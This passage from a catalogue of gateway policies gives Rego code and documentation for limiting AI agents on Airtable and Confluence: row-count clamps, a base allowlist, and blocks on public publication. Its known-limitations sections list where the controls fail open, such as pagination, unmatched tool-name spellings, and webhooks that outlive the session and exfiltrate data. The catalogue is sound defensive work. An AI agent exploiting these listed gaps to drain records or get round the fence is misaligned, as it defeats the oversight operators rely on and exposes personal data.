cap-bulk-export, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/airtable/cap-bulk-record-reads/policy.md # airtable / cap-bulk-record-reads **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — this policy never blocks, it only narrows) **Package:** `airtable.ingress.cap_bulk_record_reads` ## What it does Airtable bases routinely hold CRM contacts, applicant-tracking pipelines, customer/financial trackers, and — on HIPAA-eligible Enterprise plans — health-ops rows. Bulk record-list tools are the primary PII-egress surface: Airtable's list endpoints return pages of up to **100** rows, and an agent that is handed an unbounded (or high) page size can paginate to drain an entire table in a handful of calls. This is an **ingress transform** that enforces minimum-necessary / data-minimisation on the agent channel. It never denies a request — it only narrows the arguments before they reach the Airtable MCP server: 1. **Row-count clamp.** On the bulk record-list tools, it rewrites `maxRecords` down to a ceiling of **50**, and **injects `maxRecords: 50` when the argument is absent** (or is not a number, or is non-positive, or is above the ceiling). A non-positive `maxRecords` (`0` or negative) is treated as invalid rather than "a very small read": a server that reads it as unset would fall back to its default page (up to 100 rows), so it is forced to the ceiling. Leaving a bulk read unclamped is never the default — the clamp is unconditional and applies to every caller, including analysts. 2. **Formula strip.** For callers **outside** the placeholder `analyst` group, it strips the raw `filterByFormula` argument. `filterByFormula` is an arbitrary Airtable formula string — a high-selectivity query/exfil surface that enables targeted extraction (e.g. pulling every row matching a sensitive predicate). Analysts keep it; everyone else loses it and gets an unfiltered (but clamped) list. Tools that are **not** bulk list surfaces are left completely unchanged: `search_records` (scoped by an explicit `searchTerm`) and `get_record*` (single-record fetch by `recordId`) pass through untouched. ## Why ingress-transform and not deny/egress A bulk read has no permanent side effect, so denying it outright would be needlessly disruptive — the goal is data-minimisation, not access denial. Rewriting the arguments **before** the call reaches Airtable means the oversized page is never fetched in the first place (an egress policy would only mask an already-materialised 100-row response to the caller, after Airtable had already assembled and transmitted it). The clamp is therefore the cheapest and least-leaky place to enforce minimum-necessary. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how many records leave the base per agent call. - **GDPR Art. 5(1)(c)** — supports data minimisation (adequate, relevant, limited to what is necessary); **CCPA 11 CCR §7002** — supports the proportionality/minimisation requirement on collection and use. ## Tool name matching The policy matches the bulk record-list tools by **suffix**, so it works across both the official server's verbose names and the community servers' terse names (the gateway prefixes tool names with the configured MCP server name, e.g. `airtable-list_records_for_table`, which is not standardised): - `*list_records` (domdomegg community server) - `*list_records_for_table` (official Airtable MCP server) - `*list_records_for_page` (official Airtable MCP server, page reads) The match is evaluated against **both** the PARC `resource.name` and the legacy `payload.name` alias (they carry the same value on tool hooks), so a call that arrived with one of the two absent is still recognised and still clamped — a bulk read is never left unclamped just because only the legacy name field was populated. `search_records` and `get_record*` are deliberately not matched. Verify the exact tool names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Argument keys are taken from the landscape note: - `maxRecords` — integer page/row ceiling. Verified for the domdomegg server (`{ baseId, tableId, maxRecords?, filterByFormula? }`); the official server's `*_for_table` / `*_for_page` variants are documented as taking equivalent fields, so the same key is assumed there (see Known limitations). - `filterByFormula` — a raw Airtable formula string. Any value of `maxRecords` that is absent, non-numeric, non-positive (`0` or negative), or greater than 50 is replaced with `50`; a numeric value already in the range `1`–`50` is left untouched. ## Identity Group membership is read from the caller's JWT-derived claims via `object.get(input.subject, "claims", {})` → `groups`. The `analyst` exemption is a **grant**, so it **fails closed**: a caller with no `subject`, no `claims`, no `groups`, or a `groups` claim that is not an array of strings is treated as *not* an analyst, and `filterByFormula` is stripped. The row-count clamp does not depend on identity at all. ## Examples ### Clamped (non-analyst, oversized page + raw formula) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_records_for_table", "type": "tool" }, "subject": { "claims": { "groups": ["support"] } }, "payload": { "name": "airtable-list_records_for_table", "args": { "baseId": "appABC", "tableId": "tblXYZ", "maxRecords": 100, "filterByFormula": "{SSN}!=''" } } } } ``` `allow = true`; `transform.transformed_payload = { "baseId": "appABC", "tableId": "tblXYZ", "maxRecords": 50 }` (`maxRecords` clamped to 50, `filterByFormula` stripped). ### Injected (no maxRecords supplied) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_records", "type": "tool" }, "payload": { "name": "airtable-list_records", "args": { "baseId": "appABC", "tableId": "tblXYZ" } } } } ``` `allow = true`; `transform.transformed_payload` adds `"maxRecords": 50`. ### Analyst keeps the formula (still clamped) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_records", "type": "tool" }, "subject": { "claims": { "groups": ["analyst"] } }, "payload": { "name": "airtable-list_records", "args": { "baseId": "appABC", "tableId": "tblXYZ", "maxRecords": 100, "filterByFormula": "{Stage}='Won'" } } } } ``` `allow = true`; `maxRecords` clamped to 50, `filterByFormula` preserved. ### Untouched (single-record and search tools) A `get_record` or `search_records` call passes through with no transform. ## Composition This policy is single-purpose. Useful companions on the same Airtable gateway: - [`apps/airtable/fence-base-allowlist`](../fence-base-allowlist/policy.md) — confines the agent to sanctioned `baseId`s, so the clamp only ever applies inside approved bases. - [`apps/airtable/redact-pii-egress`](../redact-pii-egress/policy.md) — masks PII in whatever rows do come back, catching leakage that a bounded read still surfaces. - A companion clamp on `search_records` if your environment needs its `maxRecords` bounded too (this policy deliberately leaves `search_records` alone). ## Known limitations - **Pagination is not bounded across calls.** The clamp limits rows *per call*; it does not stop an agent from paginating (via `offset`/repeated calls) to traverse a table over many requests. It reduces per-call blast radius, not cumulative reads — pair it with egress PII redaction and platform-level rate limiting for defence in depth. - **`search_records` is out of scope by design.** Per the spec it is left unchanged (it is scoped by an explicit `searchTerm`), so its own `maxRecords` is not clamped. Add a companion policy if you need it bounded. - **`filterByFormula` is the only extraction key stripped.** A saved-`view` argument can also pre-filter a list server-side; this policy does not touch `view`. It also strips only the exact key `filterByFormula` — the argument key is fixed by the server schema, so casing variants are not a real vector, but a server exposing the formula under a different key would need that key added. - **Official-server argument shape is assumed, not source-verified.** The landscape note verifies `maxRecords`/`filterByFormula` for the domdomegg community server and states the official `*_for_table`/`*_for_page` variants "take equivalent fields"; confirm the official server's exact argument keys with live introspection before relying on this against the official server. - **Only the three `list_records*` suffixes are clamped.** Other record-returning surfaces are out of matching range and pass through unclamped: the official server's `display_records_for_table` (an interactive-widget bulk read, disabled by default — its argument shape is undocumented, so it is not clamped rather than clamped blindly) and any list-style tools exposed by the unverified `rashidazarang` community server (42 tools, names not source-verified in the landscape note). If your gateway enables `display_records_for_table` or fronts a server whose bulk-read tool is not named `*list_records[_for_table|_for_page]`, add its suffix to `is_bulk_list_tool` after verifying its `maxRecords` key with live introspection. - **Malformed (non-object) `args` are not narrowed.** The clamp injects/rewrites `maxRecords` only when `payload.args` is an object (the normal MCP shape). If a caller sends `args` as a scalar or array, the transform does not fire and no clamp is applied — but such a call carries no usable `maxRecords`/`filterByFormula` and is rejected by the Airtable MCP server before any records are returned, so this is not a data-egress path. Args that are simply *absent* still fail safe: an empty object is assumed and `maxRecords: 50` is injected. - **Group names are placeholders — replace `analyst` with your IdP's group name at import time.** Identity uses only IdP-supplied claims (`subject.claims.groups`); it never reads the stripped ContextForge-internal claims (`is_admin`, `teams`, `user`). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package airtable.ingress.cap_bulk_record_reads # Transform-only: this policy never denies. It narrows bulk record-read arguments # (minimum-necessary / data-minimisation) on the agent channel and passes every # other request through unchanged. default allow := true # Row-count ceiling for a bulk record-list call. Airtable list endpoints return # pages of up to 100 rows; without a cap an agent can paginate to drain a table. # 50 is a deliberately conservative minimum-necessary default — tune it for your # environment. max_records_ceiling := 50 # IdP groups permitted to pass a raw `filterByFormula`. `filterByFormula` is an # arbitrary Airtable formula string — a high-selectivity query/exfil surface — so # it is stripped for everyone outside this group. Placeholder: replace `analyst` # with your IdP's analyst group name at import time. formula_privileged_groups := {"analyst"} # --- Tool matching (suffix; official verbose names + community terse name) ------ # Bulk record-LIST tool suffixes. `search_records` (scoped by searchTerm) and # `get_record*` (single record) are intentionally excluded: they do not end with # any of these suffixes (`get_record_for_page` ends `record_for_page`, not the # plural `records_for_page`; `search_records` ends `search_records`). bulk_list_suffixes := {"list_records", "list_records_for_table", "list_records_for_page"} # Candidate tool names, lower-cased. Both the PARC `resource.name` and the legacy # `payload.name` alias are considered: they carry the same value on tool hooks, so # a call that arrived with one of them absent still matches and is still clamped. # Leaving a bulk read unclamped because only the legacy name was populated is # exactly the fail-open this policy must avoid. Missing objects default to "" via # object.get, and "" never matches a suffix. candidate_tool_names := {lower(name) | some name in [ object.get(object.get(input, "resource", {}), "name", ""), object.get(object.get(input, "payload", {}), "name", ""), ] } is_bulk_list_tool if { some name in candidate_tool_names some suffix in bulk_list_suffixes endswith(name, suffix) } # --- Identity ------------------------------------------------------------------- # Read groups via object.get(input.subject, "claims", {}) with a safe chain so a # fully-missing subject does not error the rule body. caller_claims := object.get(object.get(input, "subject", {}), "claims", {}) caller_groups := object.get(caller_claims, "groups", []) # The analyst grant fails closed: `groups` must be an array of strings. A map- or # scalar-shaped claim (a spoofing surface) is not an array and grants nothing, so # filterByFormula is stripped. Missing claims => not analyst => stripped. is_formula_privileged if { is_array(caller_groups) some group in caller_groups is_string(group) formula_privileged_groups[lower(group)] } # --- Transform (row-count clamp + conditional formula strip) -------------------- call_args := object.get(object.get(input, "payload", {}), "args", {}) # Fire only when narrowing actually changes the args, so a request that is already # minimal produces no transform (the aggregator then skips this policy for it). transform := {"transformed_payload": narrowed} if { is_bulk_list_tool narrowed := narrow_args(call_args) narrowed != call_args } # Apply both narrowings in sequence: clamp maxRecords, then strip filterByFormula. narrow_args(args) := strip_formula(clamp_max_records(args)) # Leave maxRecords alone only when it is already a positive number in [1, ceiling]; # otherwise (absent, non-numeric, non-positive, or above the ceiling) set it to # the ceiling. This both clamps oversized values and injects the cap when it is # missing, closes the "pass maxRecords as a string" bypass, AND closes the # non-positive bypass: a maxRecords of 0 or a negative number is not a smaller # read — an Airtable server that treats a non-positive/invalid maxRecords as unset # would fall back to its default page (up to 100 rows), so a bare `<= ceiling` # lower-open guard would let `maxRecords: 0` defeat the clamp. Requiring value >= 1 # forces those to the ceiling. clamp_max_records(args) := args if { max_records_within_ceiling(object.get(args, "maxRecords", null)) } clamp_max_records(args) := object.union(args, {"maxRecords": max_records_ceiling}) if { not max_records_within_ceiling(object.get(args, "maxRecords", null)) } max_records_within_ceiling(value) if { is_number(value) value >= 1 value <= max_records_ceiling } # Non-analysts lose the raw formula; analysts keep it. object.remove is a no-op # when the key is absent, so this never adds churn on formula-free calls. strip_formula(args) := args if { is_formula_privileged } strip_formula(args) := object.remove(args, ["filterByFormula"]) if { not is_formula_privileged } ``` ### Confine Airtable Agent to Allowlisted Bases URL: https://www.intentbasedpolicy.com/policies/airtable/fence-base-allowlist App(s): airtable | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: airtable.ingress.fence_base_allowlist | Published: 2026-07-12 | Tags: airtable, fence-sensitive-scopes, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/airtable/fence-base-allowlist/policy.md # airtable / fence-base-allowlist **Direction:** ingress (`tool_pre_invoke`) **Default:** deny base-scoped calls unless the `baseId` is on the allowlist; allow discovery and non-base tools **Package:** `airtable.ingress.fence_base_allowlist` ## What it does An Airtable OAuth grant (or Personal Access Token) with the `workspacesAndBases:read` scope spans the **entire** workspace — every base the connected identity can see, not just the ones an operator intends the agent to touch. Sensitivity in Airtable is a property of the **base** (`app…`), which routinely holds CRM contacts, applicant-tracking pipelines, customer/financial trackers, and — on HIPAA-eligible Enterprise plans — health-ops data. This policy converts that workspace-wide grant into per-base least privilege by pinning an operator-maintained **allowlist of sanctioned base IDs**. At ingress it reads the `baseId` argument from every record, schema, and page tool and denies the call unless that `baseId` is on the allowlist. The allowlist (`allowed_bases`) is a per-tenant constant pinned at import time — the shipped IDs are placeholders. Base-scoped tools inspected (both the official server's verbose `*_for_table` / `*_for_page` spellings and the community servers' terse names): - **Record reads** — `list_records*` (incl. `list_records_for_page`), `search_records`, `get_record*` (incl. `get_record_for_page`), and the official `display_records_for_table` interactive widget (disabled by default, but fenced if enabled). - **Record writes** — `create_record*`, `update_records*`. - **Schema writes** — `create_table`, `update_table`, `create_field`, `update_field`. Discovery tools that carry **no** `baseId` — `ping`, `list_bases`, `search_bases`, `list_workspaces` — are left untouched, so the agent can still enumerate what exists; but any operation targeting a specific base must name an allowlisted `app…` ID. Every field access uses `object.get`, so the fence **fails closed**: a base-scoped tool call that supplies no `baseId` (or carries it under an unexpected key) resolves to the empty string, which is not in the allowlist, and is denied. The default is `deny`; only the two explicit allow rules below permit a request. ## Compliance alignment - **SOC 2 C1.1** — supports identification and protection of confidential information by confining agent access to a governed set of bases on the MCP path; **P4.1** — supports limiting personal-information use to identified purposes by keeping PI-bearing bases (CRM / ATS) off the agent path unless explicitly sanctioned. - **GDPR Art. 9** — supports special-category protection by keeping bases holding health, HR, or other Art. 9 data off the agent path until sanctioned; **Art. 5(1)(b)** — supports purpose limitation by confining the agent to bases whose purpose the operator has approved; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI-bearing bases to a minimal allowlist. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `airtable-list_records_for_table`), and that prefix is not standardized. This policy matches **case-insensitively by substring** on a small set of canonical stems (`list_record`, `display_record`, `search_record`, `get_record`, `create_record`, `update_record`, `create_table`, `update_table`, `create_field`, `update_field`). Substring matching is deliberate here: it tolerates any server prefix **and** covers both spellings the ecosystem uses — - the **official** remote server's verbose names (`list_records_for_table`, `list_records_for_page`, `get_record_for_page`, `display_records_for_table`, `create_records_for_table`, `update_records_for_table`, `create_table`, `update_table`, `create_field`, `update_field`), verified against the [Airtable support doc](https://support.airtable.com/docs/using-the-airtable-mcp-server); and - the **community** servers' terse names (`list_records`, `search_records`, `get_record`, `create_record`, `update_records`, `create_table`, `update_table`, `create_field`, `update_field`), verified from the [domdomegg README](https://github.com/domdomegg/airtable-mcp-server). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. If your Airtable MCP server exposes other base-scoped tools, add their stems to `base_scoped_stems`. ## Argument shape Every record, schema, and page tool carries the target base as a scalar string `baseId` (`app…`). The policy reads it with `object.get(args, "baseId", "")` and compares it **verbatim, case-sensitively**, against `allowed_bases` — Airtable base IDs are case-sensitive, so the allowlist is not lower-cased. A call that omits `baseId`, or carries it under a different key, yields `""` and is denied (fail closed). ## Examples ### Allowed — operation on a sanctioned base ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_records_for_table", "type": "tool" }, "payload": { "name": "airtable-list_records_for_table", "args": { "baseId": "appEXAMPLEBASE0001", "tableId": "tbl123" } // on the allowlist } } } ``` `allow = true`, no reason. ### Allowed — discovery tool carrying no baseId ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_bases", "type": "tool" }, "payload": { "name": "airtable-list_bases", "args": {} } } } ``` `allow = true`, no reason. ### Denied — operation on a base that is not allowlisted ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "airtable-list_records_for_table", "type": "tool" }, "payload": { "name": "airtable-list_records_for_table", "args": { "baseId": "appUNSANCTIONED99", "tableId": "tbl123" } // not on the allowlist } } } ``` `allow = false`, `reason = "Airtable base appUNSANCTIONED99 is not on the sanctioned-base allowlist, so the agent may not operate on it. (...)"`. ## Composition This policy is single-purpose: it confines base-scoped calls to an allowlist of sanctioned `app…` IDs. Useful companions: - **`apps/airtable/freeze-destructive-ops`** (or equivalent) — deny community `delete_records`. This allowlist policy does **not** inspect deletes (see Known limitations), so a delete against a non-allowlisted base is not caught here. - A **schema-freeze** policy denying `create_base`, `create_interface`, `create_page`, `publish_interface`, and `upload_attachment` for everyone but a builders group — this policy does not fence `create_base` (it names a `workspaceId`, not a `baseId`) or the interface tools. - An **egress PII/PHI redaction** policy on `list_records*` / `search_records` / `get_record*` responses, so regulated values read back from an *allowlisted* base are still masked. ## Known limitations - **Base allowlist only — not a per-table/record fence.** The policy governs *which bases* the agent may touch, not which tables or records inside them. Once a base is allowlisted, every table/record in it is reachable. Pair with an egress redaction companion for field-level control. - **Literal, canonical-ID matching.** `baseId` is compared verbatim and case-sensitively against `allowed_bases`. A base reached by an ID not on the list is denied (the intended default-deny), but this also means the allowlist must contain each sanctioned base's exact canonical `app…` ID. The shipped IDs (`appEXAMPLEBASE0001`, `appEXAMPLEBASE0002`) are placeholders — replace them with your tenant's real base IDs at import time. - **Only the enumerated base-scoped tools are fenced.** Other tools that also carry a `baseId` but are **not** in the enumerated set pass through untouched — notably `list_tables_for_base`, `get_table_schema` / `describe_table`, `list_pages_for_base`, `describe_page_element`, `describe_page_type`, `list_comments` / `create_comment`, community `delete_records`, and `upload_attachment`. A caller can still enumerate a non-allowlisted base's table/page structure, read or post comments on it, or (on a community server) delete its records through these. Add the stems that matter for your data model to `base_scoped_stems`, and attach the destructive-ops / schema-freeze companions above. - **`create_base` is not fenced.** Base creation names a `workspaceId`, not a `baseId`, so it is outside this policy's model; a newly created base is also, by construction, not yet on the allowlist, so subsequent record operations against it are denied — but the creation itself is not blocked here. Use the schema-freeze companion to gate `create_base`. - **Webhook / persistent-channel tools are not fenced (and survive the session).** Airtable's webhook API is per-base (`POST /bases/{baseId}/webhooks`), so a webhook-management tool carries an explicit `baseId` yet its name contains **none** of the enumerated record/schema stems — it therefore passes through the non-base-scoped allow branch even when the `baseId` is *not* allowlisted. The 42-tool `rashidazarang/airtable-mcp` community server exposes such webhook tools (individual names unverified in the landscape note); the note flags them as a standout risk because a webhook creates an outbound data channel that persists after the MCP session ends. This policy does **not** stop an agent from registering a webhook on a non-allowlisted base and exfiltrating its changes continuously. Deny webhook-creation and other persistence tools with a dedicated `deny-escape-hatches` / mailbox-persistence-style companion, and pin the tool inventory with a `default-deny-unknown-tools` companion so new/renamed upstream tools fail closed. - **No raw-API escape-hatch coverage.** If your Airtable MCP server exposes a generic pass-through/GraphQL tool that carries the base target inside an opaque query string rather than a `baseId` argument, this policy cannot see it. Deny such tools with a separate escape-hatch policy. - **Substring tool matching.** Matching is by substring on canonical stems to cover the official `_for_table`/`_for_page` infixes, the terse community names, and any gateway prefix. In the unlikely event your gateway server name itself contains one of these stems, a discovery tool could be mis-classified as base-scoped; verify the exact tool names your gateway sends with the dump-input debug technique. - **Stems are underscore-delimited — a different word separator is not matched (fail-open, not fail-closed).** The stems (`list_record`, `get_record`, …) assume the snake_case spelling used by both *verified* servers (the official remote server and domdomegg). A server that exposes the same record/schema tools under a **different word separator** — hyphenated (`list-records-for-table`) or camelCase (`listRecords`, `getRecord`) — will **not** match any stem, so the call falls through the non-base-scoped allow branch and reaches **any** base, allowlisted or not. This is a portability gap, not a hole against the two verified servers (both use underscores), but the 42-tool `rashidazarang/airtable-mcp` server's individual tool names are unverified in the landscape note and could use another convention. Before trusting this policy against any unverified server, confirm the exact tool names with the dump-input debug technique; if they use hyphens or camelCase, add those spellings (e.g. `list-record`, `listrecord`) to `base_scoped_stems`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package airtable.ingress.fence_base_allowlist # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # Allowlist configuration — PLACEHOLDERS, replace at import time. # # Airtable sensitivity is a property of the base (`app…`), and a single OAuth # grant / PAT with the `workspacesAndBases:read` scope spans the whole # workspace. Pin the exact canonical base IDs the agent is sanctioned to touch. # Base IDs are case-sensitive, so this set is compared verbatim (not lowered). allowed_bases := { "appEXAMPLEBASE0001", # e.g. the governed CRM base "appEXAMPLEBASE0002", # e.g. the governed support-tracker base } # --------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP server # name (separator not standardized), and the official server uses verbose # `*_for_table` / `*_for_page` spellings while the community servers use terse # names. Match case-insensitively by substring on canonical stems so both # spellings and any prefix are covered. Verify exact names with the dump-input # debug technique. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Canonical stems of the record/schema/page tools that carry a `baseId`. # Singular stems (e.g. `list_record`) are substrings of their plural spellings # (`list_records`, `list_records_for_table`, `list_records_for_page`), so one # stem covers every variant. base_scoped_stems := { "list_record", # list_records, list_records_for_table, list_records_for_page "display_record", # display_records_for_table (official interactive widget; reads records) "search_record", # search_records "get_record", # get_record, get_record_for_page "create_record", # create_record, create_records_for_table "update_record", # update_records, update_records_for_table "create_table", # official + community schema create "update_table", "create_field", "update_field", } is_base_scoped_tool if { some stem in base_scoped_stems contains(tool_name, stem) } # --------------------------------------------------------------------------- # Argument extraction — object.get everywhere so a missing baseId fails closed. args := object.get(object.get(input, "payload", {}), "args", {}) requested_base := object.get(args, "baseId", "") # --------------------------------------------------------------------------- # Allow rules. # Any tool that is not base-scoped (ping, list_bases, search_bases, # list_workspaces, and every other non-record tool) passes through untouched. allow if { not is_base_scoped_tool } # Base-scoped tools are allowed only when they name an allowlisted base. # A missing/empty baseId resolves to "" which is not in the set -> deny. allow if { is_base_scoped_tool allowed_bases[requested_base] } # --------------------------------------------------------------------------- # Deny reasons. # Base-scoped tool naming a base that is not on the allowlist. reasons contains msg if { is_base_scoped_tool requested_base != "" not allowed_bases[requested_base] msg := sprintf("Airtable base %s is not on the sanctioned-base allowlist, so the agent may not operate on it. Request base onboarding through your data-governance owner, or contact them if you believe this base is already governed.", [requested_base]) } # Base-scoped tool that supplied no baseId at all — fail closed. reasons contains msg if { is_base_scoped_tool requested_base == "" msg := "This Airtable tool operates on a specific base but no baseId was supplied, so it cannot be matched against the sanctioned-base allowlist. Re-issue the call naming an allowlisted base, and request base onboarding through your data-governance owner if the base you need is not yet allowlisted." } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Confluence: Deny Org-Wide & Public Publication URL: https://www.intentbasedpolicy.com/policies/confluence/deny-public-publication App(s): confluence | Direction: ingress | Bundles: atlassian, soc2, gdpr-ccpa | Package: confluence.ingress.deny_public_publication | Published: 2026-07-12 | Tags: confluence, atlassian, deny-public-exposure, publication, governance, ingress, finserv-comms, eu-ai-act, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/confluence/deny-public-publication/policy.md # confluence / deny-public-publication **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on org-wide / public publications, allow everything else **Package:** `confluence.ingress.deny_public_publication` ## What it does Stops a prompt-injected or erring agent from broadcasting Confluence content org-wide or to anonymous external readers. On the two Confluence page create/update tools (`createConfluencePage` / `updateConfluencePage`, and the community `confluence_create_page` / `confluence_update_page`), the policy **denies** a write when either: - `contentType: "blog"` — a blog post broadcasts to the entire organization; or - `spaceId` (official) / `space_id` (community) is on a configured public / anonymous-access space list — a write there publishes externally-visible content instantly. Members of a placeholder `comms` group are exempt from the deny (they are the humans authorized to broadcast). On **creates** by callers outside the `comms` group, the policy additionally applies an ingress **transform** that forces `status: "draft"` (instead of `"current"`) and `isPrivate: true`, so the agent stakes out a draft and a human publishes it deliberately rather than the page going live the instant the agent calls the tool. Updates are never transformed (they operate on content a human already created), and comms-group callers keep full control. Every other Confluence tool — reads, searches, comment and label writes, attachment uploads, deletions — passes through untouched. This policy owns one surface: publication scope on page create/update. ## Compliance alignment This policy instantiates the public-exposure-deny family (PF-27, `deny-public-exposure`) on Confluence's publication surface, and supports alignment with: - **SOC 2 CC6.6, CC6.7** — boundary protection and restriction on the transmission/movement of information: denying agent-initiated org-wide blogs and public / anonymous-access-space writes keeps content from moving to a broad or external audience over the MCP path, and forcing agent creates to `draft` + `isPrivate` holds new content inside the boundary until a human publishes it. **CC6.3** — role-based restriction: only the placeholder `comms` group may broadcast, so publication authority is scoped to a role. - **FINRA Rule 2210(b)(1)** — principal pre-approval of retail communications (Partial in the coverage matrix). By blocking agent-initiated org-wide blogs and public-space writes, and forcing agent creates to draft, the agent cannot unilaterally push content to a broad or external audience — a human in the comms group reviews and publishes, which is the pre-approval gate the rule contemplates on the MCP path. - **EU AI Act Art. 50(4)** — disclosure / human-review marker for AI-generated-or-manipulated published text (Partial; PF-27 supplies the human-review marker). Forcing agent-authored creates to `draft` inserts a human review point before AI-produced text is published, and denying instant org-wide / public publication keeps un-reviewed AI text off broadly disseminated channels. - **GDPR Art. 5(1)(f) / Art. 32(1)(b), 32(2)** — integrity & confidentiality / security of processing: denying agent-initiated org-wide blogs and public / anonymous-access-space writes, and forcing agent creates to a private draft, is a technical measure against the accidental or unlawful disclosure of personal data that may sit in a page body to a broad or external audience over the MCP path. **CCPA/CPRA §1798.121** — supports limiting disclosure of sensitive personal information by keeping agent-authored content off public / org-wide channels until a human publishes it. **Why no `hipaa` / `pci-dss` / `sox` bundle tag.** This policy governs publication *scope* (blog vs page, public vs internal space, draft vs current), not content — it does not process PHI, cardholder, or financial-record data — so those three framework bundles do not apply. It is tagged `soc2` because denying org-wide / public broadcast is a genuine SOC 2 boundary / information-movement control (CC6.6 / CC6.7), and `gdpr-ccpa` because that same broadcast denial is an Art. 5(1)(f) / Art. 32 measure against unauthorised disclosure of personal data (both cited above). The coverage matrix additionally maps PF-27 to FINRA 2210(b)(1) and EU AI Act 50(4), tracked via the `finserv-comms` / `eu-ai-act` tags. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `atlassian-createconfluencepage` or `mcp-atlassian-confluence_create_page`), and that prefix is not standardized. The policy matches on the lowercased tool-name **suffix** so it stays portable across server-name conventions: - creates: `*createconfluencepage`, `*confluence_create_page` - updates: `*updateconfluencepage`, `*confluence_update_page` The official Rovo names (`createConfluencePage` / `updateConfluencePage`) are verified in the app landscape note; the community sooperset names (`confluence_create_page` / `confluence_update_page`) are verified as tool names, but their per-field argument schemas are **not** independently verified (see Known limitations). Confirm the exact name your gateway sends with the dump-input debug technique before relying on this in production. If your server exposes a differently-named publish tool, add its suffix to `create_tool_suffixes` / `update_tool_suffixes` in `policy.md`. ## Argument shape Read via `object.get`, so a missing key never crashes the rule: - `contentType` (official) with a `content_type` fallback (community snake_case) — string; a value of `"blog"` (case-insensitive, surrounding whitespace stripped) triggers the org-wide-broadcast deny. `contentType` is verified on the official connector; `content_type` is the community naming-convention fallback (its schema is unverified — see Known limitations). - `spaceId` (official) with a `space_id` fallback (community) — string; matched against the `public_space_ids` set. - `status` / `isPrivate` — set by the create transform. `status` defaults to `"current"` on the official server (instant publish); the transform forces `"draft"`. `isPrivate` is a create-only flag on the official server. ## Identity / exemption The `comms` exemption reads the caller's IdP-issued `groups` claim via `object.get(object.get(input.subject, "claims", {}), "groups", [])`. It fails closed: a caller with no `subject`, no `claims`, or no `comms` group is **not** exempt, so the blog/public-space write is denied and the create transform applies. ## Examples ### Denied (agent tries to publish an org-wide blog) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createconfluencepage", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "atlassian-createconfluencepage", "args": { "spaceId": "TEAM123", "title": "Q3 launch", "contentType": "blog", "body": "..." } } } } ``` `allow = false`, `reason = "This Confluence write publishes a blog post, ..."`. ### Denied (write into a public / anonymous-access space) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-updateconfluencepage", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "atlassian-updateconfluencepage", "args": { "spaceId": "PUBLIC-SPACE-ID", "pageId": "123", "title": "Notice", "body": "..." } } } } ``` `allow = false`, `reason = "This Confluence write targets a public or anonymous-access space, ..."`. ### Allowed + transformed (agent creates an ordinary page) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createconfluencepage", "type": "tool" }, "subject": { "sub": "google-apps|agent@acme.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "atlassian-createconfluencepage", "args": { "spaceId": "TEAM123", "title": "Runbook", "contentType": "page", "body": "..." } } } } ``` `allow = true`; the call is rewritten so `args.status = "draft"` and `args.isPrivate = true`. A human publishes the draft. ### Allowed (comms-group member publishes a blog) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "atlassian-createconfluencepage", "type": "tool" }, "subject": { "sub": "google-apps|comms-lead@acme.com", "claims": { "groups": ["comms"] } }, "payload": { "name": "atlassian-createconfluencepage", "args": { "spaceId": "NEWS", "title": "All-hands recap", "contentType": "blog", "body": "..." } } } } ``` `allow = true`, no reason, no transform (comms keeps full control). ## Composition Single-purpose by design. Useful companions in the [`atlassian`](../../../bundles/atlassian/README.md) bundle: - [`confluence/freeze-page-deletion`](../freeze-page-deletion/policy.md) — freezes the irreversible Confluence deletion tools. - [`confluence/block-secrets`](../block-secrets/policy.md) — keeps credentials out of page bodies. - A companion Jira policy denying `*transitionjiraissue` calls that carry `historyMetadata` (change-history actor spoofing) — the other half of the PF-27 publication/audit-integrity story on the Atlassian suite. ## Known limitations - **Group names are placeholders — replace `comms` with your IdP's group name at import time.** The exemption is only as trustworthy as the `groups` claim your IdP issues; if callers can self-assert group membership, remap it to a claim your IdP controls. `is_admin`, `teams`, and the nested `user` claim are stripped before policies see them and must not be used here. - **Public-space list is a placeholder.** `public_space_ids` (`PUBLIC-SPACE-ID`, `ANONYMOUS-SPACE-ID`) must be remapped to your tenant's actual public / anonymous-access space identifiers at import time. A space not on the list is treated as internal; the 